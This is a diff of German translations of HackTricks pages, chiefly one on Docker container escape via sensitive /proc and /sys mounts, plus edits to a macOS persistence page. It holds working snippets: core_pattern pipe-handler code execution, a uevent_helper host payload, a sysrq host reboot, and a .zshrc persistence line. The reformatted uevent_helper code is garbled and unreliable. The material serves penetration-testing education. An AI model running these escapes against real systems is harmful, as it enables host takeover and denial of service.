-* Teilen Sie Ihre Hacking-Tricks, indem Sie Pull Requests an die GitHub-Repositories [HackTricks](https://github.com/carlospolop/hacktricks) und [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) senden.
+
+
+\
+Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit **fortschrittlichsten Community-Tools** unterstützt werden.\
+Erhalten Sie noch heute Zugriff:
+
+{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+
+
+
+Erlernen Sie AWS-Hacking von Grund auf mithtARTE (HackTricks AWS Red Team Expert)!
+Andere Möglichkeiten, um HackTricks zu unterstützen:
+
+* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
+* Holen Sie sich das [**offizielle PEASS & HackTricks Merch**](https://peass.creator-spring.com)
+* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
index 704653d20..acd5ff4b6 100644
--- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@@ -1,166 +1,197 @@
+# Sensible Mounts
+
-Lernen Sie AWS-Hacking von Grund auf mithtARTE (HackTricks AWS Red Team Expert)!
+Lernen Sie AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
-* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
+* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
+* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
+Die Offenlegung von `/proc` und `/sys` ohne ordnungsgemäße Namespace-Isolierung birgt erhebliche Sicherheitsrisiken, einschließlich einer Vergrößerung der Angriffsfläche und der Offenlegung von Informationen. Diese Verzeichnisse enthalten sensible Dateien, die bei falscher Konfiguration oder Zugriff durch einen nicht autorisierten Benutzer zu einem Container-Ausbruch, einer Host-Änderung oder zur Bereitstellung von Informationen führen können, die weitere Angriffe unterstützen. Beispielsweise kann das falsche Einhängen von `-v /proc:/host/proc` den AppArmor-Schutz aufgrund seiner pfadbasierten Natur umgehen und `/host/proc` ungeschützt lassen.
-Die Offenlegung von `/proc` und `/sys` ohne ordnungsgemäße Namespace-Isolierung birgt erhebliche Sicherheitsrisiken, einschließlich einer Vergrößerung der Angriffsfläche und der Offenlegung von Informationen. Diese Verzeichnisse enthalten sensible Dateien, die bei falscher Konfiguration oder Zugriff durch einen nicht autorisierten Benutzer zu einem Ausbruch aus dem Container, zur Modifikation des Hosts oder zur Bereitstellung von Informationen führen können, die weitere Angriffe unterstützen. Wenn beispielsweise `-v /proc:/host/proc` falsch eingebunden wird, kann dies aufgrund seiner pfadbasierten Natur den AppArmor-Schutz umgehen und `/host/proc` ungeschützt lassen.
+**Weitere Details zu jeder potenziellen Schwachstelle finden Sie unter** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
-**Weitere Details zu jeder potenziellen Schwachstelle finden Sie unter [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts).**
+## procfs-Schwachstellen
-# procfs-Schwachstellen
+### `/proc/sys`
-## `/proc/sys`
-Dieses Verzeichnis ermöglicht den Zugriff auf die Modifikation von Kernelvariablen, normalerweise über `sysctl(2)`, und enthält mehrere Unterordner von Interesse:
+Dieses Verzeichnis ermöglicht den Zugriff zur Änderung von Kernelvariablen, normalerweise über `sysctl(2)`, und enthält mehrere Unterordner von Interesse:
+
+#### **`/proc/sys/kernel/core_pattern`**
+
+* Beschrieben in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
+* Ermöglicht die Definition eines Programms zur Ausführung bei der Generierung von Core-Dateien mit den ersten 128 Bytes als Argumente. Dies kann zu Codeausführung führen, wenn die Datei mit einem Pipe-Zeichen `|` beginnt.
+* **Beispiel für Test und Ausnutzung**:
-### **`/proc/sys/kernel/core_pattern`**
-- Beschrieben in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
-- Ermöglicht die Definition eines Programms, das bei der Generierung von Core-Dateien mit den ersten 128 Bytes als Argumente ausgeführt wird. Dies kann zu Codeausführung führen, wenn die Datei mit einem Pipe-Zeichen `|` beginnt.
-- **Beispiel für Test und Ausnutzung**:
```bash
-[ -w /proc/sys/kernel/core_pattern ] && echo Ja # Test auf Schreibzugriff
+[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test auf Schreibzugriff
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Benutzerdefinierten Handler festlegen
sleep 5 && ./crash & # Handler auslösen
```
-### **`/proc/sys/kernel/modprobe`**
-- Ausführlich beschrieben in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
-- Enthält den Pfad zum Kernelmodullader, der zum Laden von Kernelmodulen aufgerufen wird.
-- **Beispiel zur Überprüfung des Zugriffs**:
+#### **`/proc/sys/kernel/modprobe`**
+
+* Ausführlich beschrieben in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+* Enthält den Pfad zum Kernelmodullader, der zum Laden von Kernelmodulen aufgerufen wird.
+* **Beispiel zur Überprüfung des Zugriffs**:
+
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Zugriff auf modprobe überprüfen
```
-### **`/proc/sys/vm/panic_on_oom`**
-- Referenziert in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
-- Ein globaler Schalter, der steuert, ob der Kernel bei einem OOM-Zustand in Panik gerät oder den OOM-Killer aufruft.
+#### **`/proc/sys/vm/panic_on_oom`**
-### **`/proc/sys/fs`**
-- Gemäß [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) enthält es Optionen und Informationen zum Dateisystem.
-- Schreibzugriff kann verschiedene Denial-of-Service-Angriffe gegen den Host ermöglichen.
+* Bezugnahme in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+* Ein globaler Schalter, der steuert, ob der Kernel bei einem OOM-Zustand in den Panikmodus wechselt oder den OOM-Killer aufruft.
-### **`/proc/sys/fs/binfmt_misc`**
-- Ermöglicht die Registrierung von Interpretern für nicht native Binärformate basierend auf ihrer Magic Number.
-- Kann zu Privilegieneskalation oder Root-Shell-Zugriff führen, wenn `/proc/sys/fs/binfmt_misc/register` beschreibbar ist.
-- Relevanter Exploit und Erklärung:
-- [Rootkit für arme Leute über binfmt_misc](https://github.com/toffan/binfmt_misc)
-- Ausführliches Tutorial: [Video-Link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
+#### **`/proc/sys/fs`**
-## Andere in `/proc`
+* Gemäß [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) enthält Optionen und Informationen zum Dateisystem.
+* Schreibzugriff kann verschiedene Denial-of-Service-Angriffe gegen den Host ermöglichen.
-### **`/proc/config.gz`**
-- Kann die Kernelkonfiguration offenlegen, wenn `CONFIG_IKCONFIG_PROC` aktiviert ist.
-- Nützlich für Angreifer, um Schwachstellen im laufenden Kernel zu identifizieren.
+#### **`/proc/sys/fs/binfmt_misc`**
+
+* Ermöglicht die Registrierung von Interpretern für nicht native Binärformate anhand ihrer Magiezahl.
+* Kann zu Privilegieneskalation oder Root-Shell-Zugriff führen, wenn `/proc/sys/fs/binfmt_misc/register` beschreibbar ist.
+* Relevanter Exploit und Erklärung:
+* [Rootkit auf einfache Art über binfmt\_misc](https://github.com/toffan/binfmt\_misc)
+* Ausführliches Tutorial: [Video-Link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
+
+### Andere in `/proc`
+
+#### **`/proc/config.gz`**
+
+* Kann die Kernelkonfiguration offenlegen, wenn `CONFIG_IKCONFIG_PROC` aktiviert ist.
+* Nützlich für Angreifer, um Schwachstellen im laufenden Kernel zu identifizieren.
+
+#### **`/proc/sysrq-trigger`**
+
+* Ermöglicht das Auslösen von Sysrq-Befehlen, die potenziell sofortige Systemneustarts oder andere kritische Aktionen verursachen können.
+* **Beispiel zum Neustart des Hosts**:
-### **`/proc/sysrq-trigger`**
-- Ermöglicht das Auslösen von Sysrq-Befehlen, die potenziell sofortige Systemneustarts oder andere kritische Aktionen verursachen können.
-- **Beispiel zum Neustarten des Hosts**:
```bash
echo b > /proc/sysrq-trigger # Startet den Host neu
```
-### **`/proc/kmsg`**
-- Stellt Kernel-Ringpuffermeldungen bereit.
-- Kann bei Kernel-Exploits, Adresslecks und der Bereitstellung sensibler Systeminformationen helfen.
+#### **`/proc/kmsg`**
-### **`/proc/kallsyms`**
-- Listet exportierte Kernel-Symbole und ihre Adressen auf.
-- Wesentlich für die Entwicklung von Kernel-Exploits, insbesondere zur Überwindung von KASLR.
-- Adressinformationen sind eingeschränkt, wenn `kptr_restrict` auf `1` oder `2` gesetzt ist.
-- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+* Stellt Kernelringpuffermeldungen bereit.
+* Kann bei Kernel-Exploits, Adresslecks und der Bereitstellung sensibler Systeminformationen helfen.
-### **`/proc/[pid]/mem`**
-- Interagiert mit dem Kernel-Speichergerät `/dev/mem`.
-- Historisch anfällig für Privilegieneskalationsangriffe.
-- Weitere Informationen unter [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+#### **`/proc/kallsyms`**
-### **`/proc/kcore`**
-- Stellt den physischen Speicher des Systems im ELF-Core-Format dar.
-- Das Lesen kann den Speicherinhalt des Hostsystems und anderer Container preisgeben.
-- Eine große Dateigröße kann zu Leseproblemen oder Softwareabstürzen führen.
-- Detaillierte Verwendung in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
+* Listet exportierte Kernel-Symbole und deren Adressen auf.
+* Wesentlich für die Entwicklung von Kernel-Exploits, insbesondere zur Überwindung von KASLR.
+* Adressinformationen sind mit `kptr_restrict` auf `1` oder `2` beschränkt.
+* Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
-### **`/proc/kmem`**
-- Alternative Schnittstelle für `/dev/kmem`, die den virtuellen Speicher des Kernels darstellt.
-- Ermöglicht das Lesen und Schreiben und damit die direkte Modifikation des Kernel-Speichers.
+#### **`/proc/[pid]/mem`**
-### **`/proc/mem`**
-- Alternative Schnittstelle für `/dev/mem`, die den physischen Speicher darstellt.
-- Ermöglicht das Lesen und Schreiben, die Modifikation des gesamten Speichers erfordert die Auflösung von virtuellen in physische Adressen.
+* Interagiert mit dem Kernel-Speichergerät `/dev/mem`.
+* Historisch anfällig für Privilegieneskalationsangriffe.
+* Mehr dazu in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
-### **`/proc/sched_debug`**
-- Gibt Informationen zur Prozessplanung zurück und umgeht den PID-Namespace-Schutz.
-- Stellt Prozessnamen, IDs und cgroup-Bezeichner offen.
+#### **`/proc/kcore`**
-### **`/proc/[pid]/mountinfo`**
-- Bietet Informationen über Mountpoints im Mount-Namespace des Prozesses.
-- Zeigt den Speicherort des Container-`rootfs` oder des Images an.
+* Stellt den physischen Speicher des Systems im ELF-Core-Format dar.
+* Das Lesen kann den Speicherinhalt des Host-Systems und anderer Container preisgeben.
+* Eine große Dateigröße kann zu Leseproblemen oder Softwareabstürzen führen.
+* Detaillierte Verwendung in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
-## `/sys`-Schwachstellen
+#### **`/proc/kmem`**
+
+* Alternative Schnittstelle für `/dev/kmem`, die den virtuellen Kernel-Speicher darstellt.
+* Ermöglicht das Lesen und Schreiben, daher direkte Modifikation des Kernel-Speichers.
+
+#### **`/proc/mem`**
+
+* Alternative Schnittstelle für `/dev/mem`, die den physischen Speicher darstellt.
+* Ermöglicht das Lesen und Schreiben, die Modifikation des gesamten Speichers erfordert die Auflösung virtueller in physische Adressen.
+
+#### **`/proc/sched_debug`**
+
+* Gibt Informationen zur Prozessplanung zurück und umgeht PID-Namensraumschutzmaßnahmen.
+* Stellt Prozessnamen, IDs und cgroup-Bezeichner offen.
+
+#### **`/proc/[pid]/mountinfo`**
+
+* Bietet Informationen über Einhängepunkte im Einhängepunkt-Namensraum des Prozesses.
+* Stellt den Speicherort des Container-`rootfs` oder des Images offen.
+
+### sys-Schwachstellen
+
+#### **`/sys/kernel/uevent_helper`**
+
+* Wird zur Behandlung von Kernelgeräte-`uevents` verwendet.
+* Das Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen.
+* **Beispiel für Ausnutzung**: %%%bash
+
+## Erstellt ein Payload
+
+echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
+
+## Ermittelt den Hostpfad aus dem OverlayFS-Einhängepunkt für den Container
+
+host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
+
+## Setzt uevent\_helper auf bösartigen Helfer
+
+echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
+
+## Löst ein uevent aus
-### **`/sys/kernel/uevent_helper`**
-- Wird zum Umgang mit Kernelgeräte-`uevents` verwendet.
-- Das Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen.
-- **Beispiel für Ausnutzung**:
-%%%bash
-# Erstellt eine Payload
-echo "#!/bin/sh" > /evil-helper
-echo "ps > /output" >> /evil-helper
-chmod +x /evil-helper
-# Ermittelt den Hostpfad aus dem OverlayFS-Mount für den Container
-host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
-# Setzt uevent_helper auf bösartigen Helper
-echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
-# Löst ein uevent aus
echo change > /sys/class/mem/null/uevent
-# Liest die Ausgabe
-cat /output
-%%%
-### **`/sys/class/thermal`**
-- Steuert Temperatureinstellungen und kann potenziell DoS-Angriffe oder physische Schäden verursachen.
-### **`/sys/kernel/vmcoreinfo`**
-- Leakt Kernel-Adressen und gefährdet potenziell KASLR.
+## Liest die Ausgabe
-### **`/sys/kernel/security`**
-- Beherbergt die `securityfs`-Schnittstelle, die die Konfiguration von Linux Security Modules wie AppArmor ermöglicht.
-- Der Zugriff könnte einem Container ermöglichen, sein MAC-System zu deaktivieren.
+cat /output %%%
+#### **`/sys/class/thermal`**
-### **`/sys/firmware/efi/vars` und `/sys/firmware/efi/efivars`**
-- Bietet Schnittstellen zur Interaktion mit EFI-Variablen im NVRAM.
-- Fehlkonfiguration oder Ausnutzung kann zu unbrauchbaren Laptops oder nicht bootfähigen Host-Maschinen führen.
+* Steuert Temperatureinstellungen und kann potenziell DoS-Angriffe oder physische Schäden verursachen.
-### **`/sys/kernel/debug`**
-- `debugfs` bietet eine "no rules" Debugging-Schnittstelle zum Kernel.
-- Es gab bereits Sicherheitsprobleme aufgrund seiner uneingeschränkten Natur.
+#### **`/sys/kernel/vmcoreinfo`**
+* Gibt Kernel-Adressen preis und gefährdet potenziell KASLR.
+
+#### **`/sys/kernel/security`**
+
+* Beherbergt die `securityfs`-Schnittstelle, die die Konfiguration von Linux Security Modules wie AppArmor ermöglicht.
+* Der Zugriff könnte einem Container ermöglichen, sein MAC-System zu deaktivieren.
+
+#### **`/sys/firmware/efi/vars` und `/sys/firmware/efi/efivars`**
+
+* Bietet Schnittstellen zur Interaktion mit EFI-Variablen im NVRAM.
+* Falsche Konfiguration oder Ausnutzung kann zu unbrauchbaren Laptops oder nicht bootfähigen Host-Maschinen führen.
+
+#### **`/sys/kernel/debug`**
+
+* `debugfs` bietet eine "keine Regeln" Debugging-Schnittstelle zum Kernel.
+* Es gab Sicherheitsprobleme aufgrund seiner uneingeschränkten Natur.
+
+### Referenzen
-## Referenzen
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
-
-Lernen Sie AWS-Hacking von Grund auf mithtARTE (HackTricks AWS Red Team Expert)!
+Erlernen Sie AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
-* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
-* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
+* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
+* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Teilen Sie Ihre Hacking-Tricks, indem Sie Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
+* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md
index 148318482..0347b4cbc 100644
--- a/macos-hardening/macos-auto-start-locations.md
+++ b/macos-hardening/macos-auto-start-locations.md
@@ -6,11 +6,11 @@
Andere Möglichkeiten, HackTricks zu unterstützen:
-* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
+* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
+* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
@@ -19,7 +19,7 @@ Dieser Abschnitt basiert stark auf der Blog-Serie [**Beyond the good ol' LaunchA
## Sandbox-Umgehung
{% hint style="success" %}
-Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und es Ihnen ermöglichen, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und auf eine sehr **übliche Aktion**, eine bestimmte **Zeitmenge** oder eine **Aktion warten, die Sie normalerweise** innerhalb einer Sandbox ausführen können, ohne Root-Berechtigungen zu benötigen.
+Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und es Ihnen ermöglichen, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und auf eine sehr **übliche Aktion**, eine bestimmte **Zeitdauer** oder eine **Aktion warten, die Sie normalerweise** innerhalb einer Sandbox ausführen können, ohne Root-Berechtigungen zu benötigen.
{% endhint %}
### Launchd
@@ -55,7 +55,7 @@ Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und
* `/System/Library/LaunchAgents`: Vom Apple bereitgestellte benutzerbezogene Agenten
* `/System/Library/LaunchDaemons`: Vom Apple bereitgestellte systemweite Daemons
-Wenn sich ein Benutzer anmeldet, werden die in `/Users/$USER/Library/LaunchAgents` und `/Users/$USER/Library/LaunchDemons` befindlichen Plists mit den **Berechtigungen des angemeldeten Benutzers gestartet**.
+Wenn sich ein Benutzer anmeldet, werden die in `/Users/$USER/Library/LaunchAgents` und `/Users/$USER/Library/LaunchDemons` befindlichen Plists mit den **Berechtigungen des angemeldeten Benutzers** gestartet.
Der **Hauptunterschied zwischen Agenten und Daemons besteht darin, dass Agenten geladen werden, wenn sich der Benutzer anmeldet, und die Daemons beim Systemstart geladen werden** (da Dienste wie ssh ausgeführt werden müssen, bevor ein Benutzer auf das System zugreift). Außerdem können Agenten die GUI verwenden, während Daemons im Hintergrund ausgeführt werden müssen.
```xml
@@ -83,13 +83,13 @@ Der **Hauptunterschied zwischen Agenten und Daemons besteht darin, dass Agenten
Es gibt Fälle, in denen ein **Agent ausgeführt werden muss, bevor sich der Benutzer anmeldet**, diese werden als **PreLoginAgents** bezeichnet. Zum Beispiel ist dies nützlich, um unterstützende Technologien beim Login bereitzustellen. Sie können auch in `/Library/LaunchAgents` gefunden werden (siehe [**hier**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) ein Beispiel).
{% hint style="info" %}
-Neue Daemon- oder Agent-Konfigurationsdateien werden **nach dem nächsten Neustart geladen oder mit** `launchctl load ` **verwendet**. Es ist **auch möglich, .plist-Dateien ohne diese Erweiterung zu laden** mit `launchctl -F ` (jedoch werden diese plist-Dateien nicht automatisch nach dem Neustart geladen).\
-Es ist auch möglich, **zu entladen** mit `launchctl unload ` (der Prozess, auf den es zeigt, wird beendet).
+Neue Daemon- oder Agent-Konfigurationsdateien werden **nach dem nächsten Neustart geladen oder mit** `launchctl load ` **geladen**. Es ist **auch möglich, .plist-Dateien ohne diese Erweiterung** mit `launchctl -F ` zu laden (jedoch werden diese plist-Dateien nicht automatisch nach dem Neustart geladen).\
+Es ist auch möglich, mit `launchctl unload ` zu **entladen** (der Prozess, auf den er zeigt, wird beendet).
Um **sicherzustellen**, dass nichts (wie eine Überschreibung) **das Ausführen eines** **Agenten** oder **Daemons** **verhindert**, führen Sie aus: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
{% endhint %}
-Liste alle Agents und Daemons auf, die vom aktuellen Benutzer geladen wurden:
+Liste alle vom aktuellen Benutzer geladenen Agenten und Daemons auf:
```bash
launchctl list
```
@@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
### Wiedereröffnete Anwendungen
{% hint style="danger" %}
-Die Konfiguration der angegebenen Ausnutzung und das Aus- und Einloggen oder sogar das Neustarten haben bei mir nicht funktioniert, um die App auszuführen. (Die App wurde nicht ausgeführt, vielleicht muss sie ausgeführt werden, wenn diese Aktionen durchgeführt werden)
+Die Konfiguration der angegebenen Ausnutzung und das Abmelden und Anmelden oder sogar das Neustarten haben bei mir nicht funktioniert, um die App auszuführen. (Die App wurde nicht ausgeführt, vielleicht muss sie ausgeführt werden, wenn diese Aktionen durchgeführt werden)
{% endhint %}
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
@@ -149,7 +149,7 @@ Die Konfiguration der angegebenen Ausnutzung und das Aus- und Einloggen oder sog
#### Ort
* **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`**
-* **Auslöser**: Neustart von wiedereröffneten Anwendungen
+* **Auslöser**: Neustart der wiedereröffneten Anwendungen
#### Beschreibung & Ausnutzung
@@ -157,7 +157,7 @@ Alle Anwendungen, die wieder geöffnet werden sollen, befinden sich in der Plist
Um also die wieder zu öffnenden Anwendungen dazu zu bringen, Ihre eigene zu starten, müssen Sie nur **Ihre App zur Liste hinzufügen**.
-Die UUID kann gefunden werden, indem Sie dieses Verzeichnis auflisten oder mit `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
+Die UUID kann durch Auflisten dieses Verzeichnisses oder mit `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` gefunden werden.
Um die Anwendungen zu überprüfen, die wieder geöffnet werden sollen, können Sie Folgendes tun:
```bash
@@ -181,7 +181,7 @@ Um **eine Anwendung zu dieser Liste hinzuzufügen**, können Sie Folgendes verwe
* TCC Umgehung: [✅](https://emojipedia.org/check-mark-button)
* Terminal verwendet FDA-Berechtigungen des Benutzers, der es verwendet
-#### Ort
+#### Standort
* **`~/Library/Preferences/com.apple.Terminal.plist`**
* **Auslöser**: Terminal öffnen
@@ -210,9 +210,9 @@ Diese Konfiguration wird in der Datei **`~/Library/Preferences/com.apple.Termina
}
[...]
```
-So, wenn die plist der Einstellungen des Terminals im System überschrieben werden könnte, kann die **`open`** Funktionalität verwendet werden, um **das Terminal zu öffnen und dieser Befehl wird ausgeführt**.
+Also, wenn die Plist der Einstellungen des Terminals im System überschrieben werden könnte, kann die **`open`**-Funktionalität verwendet werden, um das Terminal zu öffnen und dieser Befehl wird ausgeführt.
-Dies kann über die Befehlszeile mit folgendem Befehl hinzugefügt werden:
+Sie können dies über die Befehlszeile mit folgendem Befehl hinzufügen:
{% code overflow="wrap" %}
```bash
@@ -225,20 +225,20 @@ Dies kann über die Befehlszeile mit folgendem Befehl hinzugefügt werden:
```
{% endcode %}
-### Terminal-Skripte / Andere Dateierweiterungen
+### Terminal Skripte / Andere Dateierweiterungen
* Nützlich, um die Sandbox zu umgehen: [✅](https://emojipedia.org/check-mark-button)
* TCC-Umgehung: [✅](https://emojipedia.org/check-mark-button)
-* Terminal verwenden, um FDA-Berechtigungen des Benutzers zu erhalten
+* Terminal verwendet FDA-Berechtigungen des Benutzers, der es verwendet
#### Ort
* **Überall**
-* **Auslöser**: Öffnen Sie das Terminal
+* **Auslöser**: Öffnen des Terminals
#### Beschreibung & Ausnutzung
